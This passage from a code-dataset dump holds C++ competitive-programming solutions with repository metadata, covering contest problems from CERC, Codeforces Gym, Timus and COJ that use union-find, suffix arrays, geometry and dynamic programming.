"eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)\n// 101173H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1005;\nconst int dx[] = {0, 1, 0, -1};\nconst int dy[] = {1, 0, -1, 0};\n\nint n;\nstring mat[N];\nint sum[N][N];\nint val[N][N];\n\ninline int getSum(int x1, int y1, int x2, int y2) {\n\treturn sum[x2][y2] - sum[x1 - 1][y2] - sum[x2][y1 - 1] + sum[x1 - 1][y1 - 1];\n}\n\ninline bool inside(int x, int n) { // [0, n)\n\treturn (0 <= x && x < n);\n}\n\ninline int getID(int x, int y, int n) {\n\treturn x * n + y;\n}\n\nvector <pair <int, int> > G[N * N];\n\nstruct edge {\n\tint from;\n\tint to;\n\tint val;\n};\n\nbool operator < (const edge &a, const edge &b) {\n\treturn a.val > b.val;\n}\n\nvector <edge> E;\n\nint parent[N * N];\n\nint find(int x) {\n\tif (x != parent[x]) {\n\t\tparent[x] = find(parent[x]);\n\t}\n\treturn parent[x];\n}\n\nbool join(int x, int y) {\n\tx = find(x);\n\ty = find(y);\n\tif (x == y) {\n\t\treturn false;\n\t}\n\tif (rand() & 1) {\n\t\tparent[x] = y;\n\t} else {\n\t\tparent[y] = x;\n\t}\n\treturn true;\n}\n\nconst int LOG = 20;\n\nbool visited[N * N];\nint par[LOG + 2][N * N];\nint minEdge[LOG + 2][N * N];\nint timer = 0;\nint tin[N * N];\nint tout[N * N];\nint componentCount;\nint component[N * N];\n\nvoid dfs(int u, int p, int e) {\n\ttin[u] = timer++;\n\tcomponent[u] = componentCount;\n\tpar[0][u] = p;\n\tminEdge[0][u] = e;\n\tfor (int i = 1; i < LOG; i++) {\n\t\tif (par[i - 1][u] != -1) {\n\t\t\tpar[i][u] = par[i - 1][par[i - 1][u]];\n\t\t\tminEdge[i][u] = min(minEdge[i - 1][u], minEdge[i - 1][par[i - 1][u]]);\n\t\t}\n\t}\n\tvisited[u] = true;\n\tfor (int i = 0; i < G[u].size(); i++) {\n\t\tint v = G[u][i].first;\n\t\tif (!visited[v]) {\n\t\t\tdfs(v, u, G[u][i].second);\n\t\t}\n\t}\n\ttout[u] = timer++;\n}\n\ninline bool isAncestor(int u, int v) {\n\treturn (tin[u] <= tin[v] && tout[v] <= tout[u]);\n}\n\ninline int getMinEdge(int u, int v) {\n\tint res = -1;\n\tif (!isAncestor(u, v)) {\n\t\tint uu = u;\n\t\tfor (int i = LOG - 1; i >= 0; i--) {\n\t\t\tif (par[i][uu] == -1) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (!isAncestor(par[i][uu], v)) {\n\t\t\t\tif (res == -1 || minEdge[i][uu] < res) {\n\t\t\t\t\tres = minEdge[i][uu];\n\t\t\t\t}\n\t\t\t\tuu = par[i][uu];\n\t\t\t}\n\t\t}\n\t\tif (res == -1 || minEdge[0][uu] < res) {\n\t\t\tres = minEdge[0][uu];\n\t\t}\n\t}\n\tif (!isAncestor(v, u)) {\n\t\tint vv = v;\n\t\tfor (int i = LOG - 1; i >= 0; i--) {\n\t\t\tif (par[i][vv] == -1) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (!isAncestor(par[i][vv], u)) {\n\t\t\t\tif (res == -1 || minEdge[i][vv] < res) {\n\t\t\t\t\tres = minEdge[i][vv];\n\t\t\t\t}\n\t\t\t\tvv = par[i][vv];\n\t\t\t}\n\t\t}\n\t\tif (res == -1 || minEdge[0][vv] < res) {\n\t\t\tres = minEdge[0][vv];\n\t\t}\n\t}\n\tassert(res != -1);\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> mat[i];\n\t}\n\tfor (int i = 1; i <= n; i++) {\n\t\tfor (int j = 1; j <= n; j++) {\n\t\t\tsum[i][j] = (mat[i - 1][j - 1] == '#') ? 1 : 0;\n\t\t\tsum[i][j] += sum[i - 1][j] + sum[i][j - 1] - sum[i - 1][j - 1];\n\t\t}\n\t}\n\tfor (int x = 0; x < n; x++) {\n\t\tfor (int y = 0; y < n; y++) {\n\t\t\tif (mat[x][y] == '.') {\n\t\t\t\tint lo = 0;\n\t\t\t\tint hi = min(x, min(y, min(n - 1 - x, n - 1 - y)));\n\t\t\t\tint v = 0;\n\t\t\t\twhile (lo <= hi) {\n\t\t\t\t\tint mid = (lo + hi) >> 1;\n\t\t\t\t\tif (getSum(x - mid + 1, y - mid + 1, x + mid + 1, y + mid + 1) == 0) {\n\t\t\t\t\t\tv = mid;\n\t\t\t\t\t\tlo = mid + 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\thi = mid - 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tval[x][y] = 2 * v + 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (int x = 0; x < n; x++) {\n\t\tfor (int y = 0; y < n; y++) {\n\t\t\tif (mat[x][y] == '.') {\n\t\t\t\tfor (int d = 0; d < 4; d++) {\n\t\t\t\t\tint nx = x + dx[d];\n\t\t\t\t\tint ny = y + dy[d];\n\t\t\t\t\tif (inside(nx, n) && inside(ny, n)) {\n\t\t\t\t\t\tif (mat[nx][ny] == '.') {\n\t\t\t\t\t\t\tE.push_back((edge) {getID(x, y, n), getID(nx, ny, n), min(val[x][y], val[nx][ny])});\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tint maxID = getID(n - 1, n - 1, n);\n\tfor (int i = 0; i <= maxID; i++) {\n\t\tparent[i] = i;\n\t}\n\tsort(E.begin(), E.end());\n\tfor (int i = 0; i < E.size(); i++) {\n\t\tif (join(E[i].from, E[i].to)) {\n\t\t\tG[E[i].from].push_back(make_pair(E[i].to, E[i].val));\n\t\t\tG[E[i].to].push_back(make_pair(E[i].from, E[i].val));\n\t\t}\n\t}\n\tfor (int i = 0; i <= maxID; i++) {\n\t\tvisited[i] = false;\n\t}\n\tfor (int l = 0; l < LOG; l++) {\n\t\tfor (int i = 0; i <= maxID; i++) {\n\t\t\tpar[l][i] = -1;\n\t\t\tminEdge[l][i] = -1;\n\t\t}\n\t}\n\tfor (int i = 0; i <= maxID; i++) {\n\t\tif (!visited[i]) {\n\t\t\tdfs(i, -1, -1);\n\t\t\tcomponentCount++;\n\t\t}\n\t}\n\n\tint q, ra, rb, ca, cb;\n\tint ida, idb;\n\tcin >> q;\n\twhile (q--) {\n\t\tcin >> ra >> ca >> rb >> cb;\n\t\tida = getID(ra - 1, ca - 1, n);\n\t\tidb = getID(rb - 1, cb - 1, n);\n\t\tif (component[ida] != component[idb]) {\n\t\t\tcout << \"0\\n\";\n\t\t} else {\n\t\t\tcout << getMinEdge(ida, idb) << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.30684930086135864, "alphanum_fraction": 0.3325342535972595, "avg_line_length": 21.8125, "blob_id": "11ad9a32140506f61f38d64ff4aaa81a4d94d300", "content_id": "6988d3c26652afa220643710603de38cceb5c7d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2920, "license_type": "no_license", "max_line_length": 163, "num_lines": 128, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef unsigned long long ll;\n\nconst int MAXM = 15;\nconst int MAXN = 200;\nconst int MAXK = 60;\n\nint m , c , n;\nint ki[MAXN];\nvector<int> request[MAXN];\nint pos_request[MAXN];\n\nset<int> D[MAXN];\n\nmap<int,int> last;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n while(cin >> m >> c >> n, ( n && m && c ) ){\n last.clear();\n for( int i = 1; i <= m+1; i++ ){\n D[i].clear();\n }\n for( int i = 0; i < n; i++ ){\n cin >> ki[i];\n\n request[i].clear();\n pos_request[i] = 0;\n\n for( int j = 0; j < ki[i]; j++ ){\n int bij; cin >> bij;\n request[i].push_back( bij );\n\n D[m+1].insert( bij );\n last[ bij ] = 0;\n }\n }\n\n ll sol = 0ll;\n\n int ind = 0;\n\n int time = 0;\n\n while( true ){ time++;\n int tmp = ind;\n\n int cc = 0;\n while( cc < n+2 ){\n if( pos_request[tmp] < ki[tmp] ){\n break;\n }\n\n tmp = ( tmp + 1 ) % n;\n cc++;\n }\n\n if( pos_request[tmp] == ki[tmp] ){\n break;\n }\n\n int bij = request[tmp][ pos_request[tmp]++ ];\n last[ bij ] = time;\n\n ind = ( tmp + 1 ) % n;\n\n for( int i = 1; i <= m+1; i++ ){\n if( D[i].find( bij ) != D[i].end() ){\n sol += i;\n D[i].erase( bij );\n break;\n }\n }\n\n if( D[1].size() < c ){\n D[1].insert( bij );\n sol += 1;\n continue;\n }\n\n int pos_m = -1;\n for( int i = 2; i <= m+1; i++ ){\n if( D[i].size() < c || i == m+1 ){\n pos_m = i;\n sol += i;\n D[i].insert( bij );\n break;\n }\n }\n\n int kk = -1;\n for( set<int>::iterator it = D[1].begin(); it != D[1].end(); it++ ){\n if( kk == -1 || last[ *it ] < last[ kk ] ){\n kk = *it;\n }\n }\n\n sol++;\n D[1].erase( kk );\n\n for( int i = 2; i <= m+1; i++ ){\n if( D[i].size() < c || i == m+1 ){\n D[i].insert( kk );\n sol += i;\n break;\n }\n }\n\n sol += pos_m;\n D[pos_m].erase( bij );\n\n sol++;\n D[1].insert( bij );\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4679335057735443, "alphanum_fraction": 0.4899049997329712, "avg_line_length": 21.756755828857422, "blob_id": "6b2d7ed145415ef2846faae5f46eb12615d1ec03", "content_id": "10b316184248cb1c0142451065d25fa440367808", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1684, "license_type": "no_license", "max_line_length": 84, "num_lines": 74, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint n;\n\tlong long m;\n\tcin >> n >> m;\n\tvector <pair <long long, int> > a, b;\n\tfor (int i = 0; i < n; i++) {\n\t\tlong long x;\n\t\tint l;\n\t\tcin >> x >> l;\n\t\tif (l == 1) {\n\t\t\ta.push_back(make_pair(x, i));\n\t\t} else {\n\t\t\tb.push_back(make_pair(x, i));\n\t\t}\n\t}\n\tsort(a.begin(), a.end(), greater <pair <long long, int> > ());\n\tsort(b.begin(), b.end(), greater <pair <long long, int> > ());\n\tvector <long long> sa(a.size() + 1);\n\tsa[0] = 0;\n\tfor (int i = 1; i <= a.size(); i++) {\n\t\tsa[i] = sa[i - 1] + a[i - 1].first;\n\t}\n vector <long long> sb(b.size() + 1);\n\tsb[0] = 0;\n\tfor (int i = 1; i <= b.size(); i++) {\n\t\tsb[i] = sb[i - 1] + b[i - 1].first;\n\t}\n\tint ansCnt = n;\n\tint ansCl = a.size();\n\tint ansCh = b.size();\n\tfor (int cl = 0; cl <= a.size(); cl++) {\n\t\tlong long curSum = sa[cl];\n\t\tlong long needSum = m - curSum;\n\t\tif (needSum < 0) {\n\t\t\tneedSum = 0;\n\t\t}\n\t\tif (needSum > sb.back()) {\n\t\t\tcontinue;\n\t\t}\n\t\tint pos = lower_bound(sb.begin(), sb.end(), needSum) - sb.begin();\n\t\tint cnt = cl + pos;\n\t\t//cerr << \"-->> \" << cnt << \" \" << curSum << \" \" << needSum << \" \" << pos << \"\\n\";\n\t\tif (cnt <= ansCnt) {\n\t\t\tansCnt = cnt;\n\t\t\tansCl = cl;\n\t\t\tansCh = cnt - cl;\n\t\t}\n\t}\n\tcout << ansCnt << \" \" << ansCl << \"\\n\";\n\tvector <int> id;\n\tfor (int i = 0; i < ansCl; i++) {\n\t\tid.push_back(a[i].second);\n\t}\n\tfor (int i = 0; i < ansCh; i++) {\n\t\tid.push_back(b[i].second);\n\t}\n\tfor (int i = 0; i < id.size(); i++) {\n\t\tcout << id[i] + 1;\n\t\tif (i + 1 < id.size()) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.34020617604255676, "alphanum_fraction": 0.3927834928035736, "avg_line_length": 18.70212745666504, "blob_id": "b6db8c9b3fbeb35ef2c219120649122e7a463d11", "content_id": "bb7846f4711bb081256bd1789483b16248f12761", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 970, "license_type": "no_license", "max_line_length": 75, "num_lines": 47, "path": "/Timus/1119-6721746.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1119\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\nconst int INF = 1e9;\r\n\r\nint n, m, k;\r\nbool mark[N][N];\r\ndouble dp[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m >> k;\r\n\tfor (int i = 0, x, y; i < k; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tmark[x][y] = true;\r\n\t}\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tfor (int j = 0; j <= m; j++) {\r\n\t\t\tdp[i][j] = INF;\r\n\t\t}\r\n\t}\r\n\tdp[0][0] = 0.0;\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tfor (int j = 0; j <= m; j++) {\r\n\t\t\tif (i + 1 <= n) {\r\n\t\t\t\tdp[i + 1][j] = min(dp[i + 1][j], dp[i][j] + 100.0);\r\n\t\t\t}\r\n\t\t\tif (j + 1 <= m) {\r\n\t\t\t\tdp[i][j + 1] = min(dp[i][j + 1], dp[i][j] + 100.0);\r\n\t\t\t}\r\n\t\t\tif (i + 1 <= n && j + 1 <= m && mark[i + 1][j + 1]) {\r\n\t\t\t\tdp[i + 1][j + 1] = min(dp[i + 1][j + 1], dp[i][j] + 100.0 * sqrt(2.0));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = dp[n][m];\r\n\tif (dp[n][m] - (double)ans >= 0.5) {\r\n ans++;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28183361887931824, "alphanum_fraction": 0.32258063554763794, "avg_line_length": 19.814815521240234, "blob_id": "917f57bfe5915501729b2518d34bd83c157b5ade", "content_id": "f83e1ce6312168b0097ba98e3a5f7d9505fad06d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 589, "license_type": "no_license", "max_line_length": 46, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2110-Accepted-s474638.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n,m,l=0,b[33],c[33],nb,pot=1;\r\n\r\nint main(){\r\n cin >> n;\r\n \r\n while(n){b[l++]=n%2;n/=2;}\r\n \r\n c[l-1]=b[l-1];\r\n \r\n for(int i=l-2; i>=0; i--){\r\n /*if(b[i] && c[i+1])c[i]=0;\r\n else if(b[i] && !c[i+1])c[i]=1;\r\n else if(!b[i] && c[i+1])c[i]=1;\r\n else if(!b[i] && !c[i+1])c[i]=0;*/\r\n c[i]=b[i]^c[i+1];\r\n }\r\n for(int i=0; i<l; i++){\r\n nb+=c[i]*pot;\r\n pot*=2;\r\n }\r\n \r\n cout << nb << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.37833595275878906, "alphanum_fraction": 0.39246466755867004, "avg_line_length": 21.592592239379883, "blob_id": "d4c9f1fedb94f2420781def1ab4600d07a6b736d", "content_id": "bbe26e5c60464bc9e0a8596add8071d359a074a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3822, "license_type": "no_license", "max_line_length": 95, "num_lines": 162, "path": "/COJ/eliogovea-cojAC/eliogovea-p4003-Accepted-s1228370.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline int sign(const long long x) {\r\n return (x < 0) ? -1 : (x > 0);\r\n}\r\n\r\nstruct point {\r\n int x, y;\r\n point(int _x = 0, int _y = 0) :\r\n x(_x), y(_y) {}\r\n};\r\n\r\npoint operator + (const point & P, const point & Q) {\r\n return point(P.x + Q.x, P.y + Q.y);\r\n}\r\n\r\npoint operator - (const point & P, const point & Q) {\r\n return point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\nlong long dot(const point & P, const point & Q) {\r\n return (long long)P.x * Q.x + (long long)P.y * Q.y;\r\n}\r\n\r\nlong long cross(const point & P, const point & Q) {\r\n return (long long)P.x * Q.y - (long long)P.y * Q.x;\r\n}\r\n\r\ninline int halfPlane(const point & P) {\r\n\tif (sign(P.y) != 0) {\r\n\t\treturn sign(P.y);\r\n\t}\r\n\treturn sign(P.x);\r\n}\r\n\r\nbool byPolarAngle(const point & P, const point & Q) {\r\n\tif (halfPlane(P) != halfPlane(Q)) {\r\n\t\treturn halfPlane(P) < halfPlane(Q);\r\n\t}\r\n\tint s = sign(cross(P, Q));\r\n\tif (s != 0) {\r\n\t\treturn (s > 0);\r\n\t}\r\n\treturn dot(P, P) < dot(Q, Q);\r\n}\r\n\r\nlong long dArea(const vector <point> & G) {\r\n int n = G.size();\r\n long long result = 0;\r\n for (int i = 0; i < n; i++) {\r\n int j = i + 1 == n ? 0 : i + 1;\r\n result += cross(G[i], G[j]);\r\n }\r\n return result;\r\n}\r\n\r\nvoid solve(const vector <point> & G, vector <long long> & x, vector <long long> & y) {\r\n int n = G.size();\r\n long long A = dArea(G);\r\n \r\n assert(sign(A) > 0);\r\n \r\n long long Al = 0;\r\n for (int l = 0, r = 0; l < n; l++) {\r\n while (true) {\r\n int nr = r + 1 == n ? 0 : r + 1;\r\n long long delta = cross(G[r] - G[l], G[nr] - G[l]);\r\n \r\n assert(delta >= 0);\r\n \r\n if (2LL * (Al + delta) <= A) {\r\n Al += delta;\r\n r = nr;\r\n } else {\r\n \tbreak;\r\n }\r\n }\r\n \r\n assert(2LL * Al <= A);\r\n \r\n if (2LL * Al == A) {\r\n long long vx = G[r].x - G[l].x;\r\n long long vy = G[r].y - G[l].y;\r\n long long g = __gcd(abs(vx), abs(vy));\r\n vx /= g;\r\n vy /= g;\r\n \tx[l] = G[l].x + vx;\r\n \ty[l] = G[l].y + vy;\r\n } else {\r\n \tpoint P = G[l];\r\n \tpoint Q = G[r];\r\n \tpoint R = G[r + 1 == n ? 0 : r + 1];\r\n \t\r\n \t// the point is in the segment QR\r\n\t\t long long At = cross(Q - P, R - P);\r\n\t\t \r\n\t\t assert(sign(At) >= 0);\r\n\t\t \r\n\t\t assert(2LL * (Al + At) > A);\r\n\r\n\t\t // 2 * (Al / 2 + k * At / 2) = A / 2\r\n\t\t // Al + k * At = A / 2\r\n\t\t // k * At = (A - 2 * Al) / 2\r\n\t\t // k = (A - 2 * Al) / (2 * At)\r\n\t\t // x = xl + k * dx\r\n\t\t // x = (x1 * 2 * At + (A - 2 * Al) * (x2 - x1)) / (2 * At)\r\n\r\n//\t\t long double dx = R.x - Q.x;\r\n//\t\t long double dy = R.y - Q.y;\r\n\t\t \r\n\t\t\t\r\n\t\t\t// v = (Q - P) + k * (R - Q)\r\n\t\t \r\n\t\t \r\n\t\t\tlong long nvx = (long long)(Q.x - P.x) * 2LL * At + (A - 2LL * Al) * (long long)(R.x - Q.x);\r\n\t\t\tlong long nvy = (long long)(Q.y - P.y) * 2LL * At + (A - 2LL * Al) * (long long)(R.y - Q.y);\r\n\r\n\t\t\tlong long g = __gcd(abs(nvx), abs(nvy));\r\n\t\t\tnvx /= g;\r\n\t\t\tnvy /= g;\r\n\r\n\t\t\tx[l] = (long long)P.x + nvx;\r\n\t\t\ty[l] = (long long)P.y + nvy;\r\n }\r\n\r\n int nl = l + 1 == n ? 0 : l + 1;\r\n \r\n long long delta = cross(G[l] - G[r], G[nl] - G[r]);\r\n assert(sign(delta) >= 0);\r\n Al -= delta;\r\n }\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tint n;\r\n\tcin >> n;\r\n\t\r\n\tvector <point> G(n);\r\n\tfor (auto & P : G) {\r\n\t\tcin >> P.x >> P.y;\r\n\t}\r\n\t\r\n\tint q;\r\n\tcin >> q;\r\n\t\r\n\tvector <int> Q(q);\r\n\tfor (auto & x : Q) {\r\n\t\tcin >> x;\r\n\t}\r\n\t\r\n\tvector <long long> x(n), y(n);\r\n\tsolve(G, x, y);\r\n\t\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcout << x[Q[i]] << \" \" << y[Q[i]] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5106855034828186, "alphanum_fraction": 0.5294354557991028, "avg_line_length": 21.633333206176758, "blob_id": "7e92352bb6d335346fc22a444a76fe4f436ede31", "content_id": "4a79203b646b73b3eea49bc6040834b639b399cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4960, "license_type": "no_license", "max_line_length": 104, "num_lines": 210, "path": "/Timus/1684-7220405.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1684\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct SuffixArray {\r\n\tstatic const int MAXL = 200000 + 5;\r\n\tstatic const int SIGMA = 256;\r\n\tstatic const int INF = 1e9;\r\n\tint size;\r\n\tint values[MAXL];\r\n\tint classes;\r\n\tint suffixArray[MAXL];\r\n\tint classID[MAXL];\r\n\tint rank[MAXL];\r\n\tint LCPArray[MAXL];\r\n\tint segmentTree[4 * MAXL];\r\n\r\n\tSuffixArray() {}\r\n\r\n\tvoid build(string s) {\r\n\t\tsize = s.size();\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tvalues[i] = (int)s[i];\r\n\t\t}\r\n\t\tbuildSuffixArray();\r\n\t\tbuildLCPArray();\r\n\t\tbuildSegmentTree(1, 0, size - 1);\r\n\t}\r\n\r\n\tvoid countingSort(int halfLength) {\r\n\t\tstatic int currentOrder[MAXL];\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tcurrentOrder[i] = (suffixArray[i] - halfLength + size) % size;\r\n\t\t}\r\n\t\tstatic int cnt[MAXL];\r\n\t\tfor (int i = 0; i < classes; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tcnt[classID[currentOrder[i]]]++;\r\n\t\t}\r\n\t\tfor (int i = 1; i < classes; i++) {\r\n\t\t\tcnt[i] += cnt[i - 1];\r\n\t\t}\r\n\t\tfor (int i = size - 1; i >= 0; i--) {\r\n\t\t\tsuffixArray[--cnt[classID[currentOrder[i]]]] = currentOrder[i];\r\n\t\t}\r\n\t}\r\n\r\n\tvoid assignClasses(int halfLength) {\r\n\t\tstatic int newClassID[MAXL];\r\n\t\tclasses = 1;\r\n\t\tnewClassID[suffixArray[0]] = classes - 1;\r\n\t\tfor (int i = 1; i < size; i++) {\r\n\t\t\tif (classID[suffixArray[i]] != classID[suffixArray[i - 1]]) {\r\n\t\t\t\tclasses++;\r\n\t\t\t} else {\r\n\t\t\t\tint mid1 = (suffixArray[i - 1] + halfLength) % size;\r\n\t\t\t\tint mid2 = (suffixArray[i] + halfLength) % size;\r\n\t\t\t\tif (classID[mid1] != classID[mid2]) {\r\n\t\t\t\t\tclasses++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tnewClassID[suffixArray[i]] = classes - 1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tclassID[i] = newClassID[i];\r\n\t\t}\r\n\t}\r\n\r\n\tvoid buildSuffixArray() {\r\n\t\tvalues[size++] = 0;\r\n\t\tclasses = SIGMA;\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tsuffixArray[i] = i;\r\n\t\t\tclassID[i] = values[i];\r\n\t\t}\r\n\t\tint length = 1;\r\n\t\twhile (true) {\r\n\t\t\tint halfLength = length >> 1;\r\n\t\t\tcountingSort(halfLength);\r\n\t\t\tassignClasses(halfLength);\r\n\t\t\tif (length >= size) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tlength <<= 1;\r\n\t\t}\r\n\t\tsize--;\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tsuffixArray[i] = suffixArray[i + 1];\r\n\t\t}\r\n\t}\r\n\tvoid buildLCPArray() {\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\trank[suffixArray[i]] = i;\r\n\t\t}\r\n\t\tint length = 0;\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tif (length > 0) {\r\n\t\t\t\tlength--;\r\n\t\t\t}\r\n\t\t\tif (rank[i] == 0) {\r\n\t\t\t\tlength = 0;\r\n\t\t\t\tLCPArray[rank[i]] = 0;\r\n\t\t\t} else {\r\n\t\t\t\tint j = suffixArray[rank[i] - 1];\r\n\t\t\t\twhile (i + length - 1 < size && j + length - 1 < size && values[i + length] == values[j + length]) {\r\n\t\t\t\t\tlength++;\r\n\t\t\t\t}\r\n\t\t\t\tLCPArray[rank[i]] = length;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid buildSegmentTree(int now, int left, int right) {\r\n\t\tif (left == right) {\r\n\t\t\tsegmentTree[now] = LCPArray[left];\r\n\t\t} else {\r\n\t\t\tint middle = (left + right) >> 1;\r\n\t\t\tint leftChild = now << 1;\r\n\t\t\tint rightChild = leftChild + 1;\r\n\t\t\tbuildSegmentTree(leftChild, left, middle);\r\n\t\t\tbuildSegmentTree(rightChild, middle + 1, right);\r\n\t\t\tsegmentTree[now] = min(segmentTree[leftChild], segmentTree[rightChild]);\r\n\t\t}\r\n\t}\r\n\r\n\tint segmentTreeQuery(int now, int left, int right, int qLeft, int qRight) {\r\n\t\tif (right < qLeft || qRight < left) {\r\n\t\t\treturn INF;\r\n\t\t}\r\n\t\tif (qLeft <= left && right <= qRight) {\r\n\t\t\treturn segmentTree[now];\r\n\t\t}\r\n\t\tint middle = (left + right) >> 1;\r\n\t\tint leftChild = now * 2;\r\n\t\tint rightChild = leftChild + 1;\r\n\t\tint ql = segmentTreeQuery(leftChild, left, middle, qLeft, qRight);\r\n\t\tint qr = segmentTreeQuery(rightChild, middle + 1, right, qLeft, qRight);\r\n\t\treturn min(ql, qr);\r\n\t}\r\n\r\n\tint getLCP(int a, int b) {\r\n\t\tint ra = rank[a];\r\n\t\tint rb = rank[b];\r\n\t\tif (ra == rb) {\r\n\t\t\treturn size - a;\r\n\t\t}\r\n\t\tif (ra > rb) {\r\n\t\t\tswap(ra, rb);\r\n\t\t}\r\n\t\treturn segmentTreeQuery(1, 0, size - 1, ra + 1, rb);\r\n\t}\r\n}SA;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tstring a, b;\r\n\tcin >> a >> b;\r\n\r\n\tstring ab = a + \"#\" + b;\r\n\tSA.build(ab);\r\n\r\n\tvector <bool> ok(b.size() + 1);\r\n\tvector <int> from(b.size() + 1, -1);\r\n\tvector <vector <int> > remove(b.size() + 1);\r\n\tset <int> active;\r\n\tok[0] = true;\r\n\tfor (int i = 1; i <= b.size(); i++) {\r\n\t\tif (ok[i - 1]) {\r\n\t\t\tint l = SA.getLCP(0, a.size() + 1 + i - 1);\r\n\t\t\tif (l != 0) {\r\n\t\t\t\tremove[i + l - 1].push_back(i);\r\n\t\t\t\tactive.insert(i);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (active.size() != 0) {\r\n\t\t\tok[i] = true;\r\n\t\t\tfrom[i] = *active.begin();\r\n\t\t}\r\n\t\tfor (int j = 0; j < remove[i].size(); j++) {\r\n\t\t\tactive.erase(active.find(remove[i][j]));\r\n\t\t}\r\n\t}\r\n\tif (!ok[b.size()]) {\r\n\t\tcout << \"Yes\\n\";\r\n\t} else {\r\n\t\tcout << \"No\\n\";\r\n\t\tvector <int> answer;\r\n\t\tint now = b.size();\r\n\t\twhile (now != 0) {\r\n answer.push_back(now);\r\n\t\t\tnow = from[now] - 1;\r\n\t\t}\r\n\t\tanswer.push_back(0);\r\n\t\treverse(answer.begin(), answer.end());\r\n\t\tfor (int i = 0; i + 1 < answer.size(); i++) {\r\n\t\t\tcout << b.substr(answer[i], answer[i + 1] - answer[i]);\r\n\t\t\tif (i + 2 < answer.size()) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << 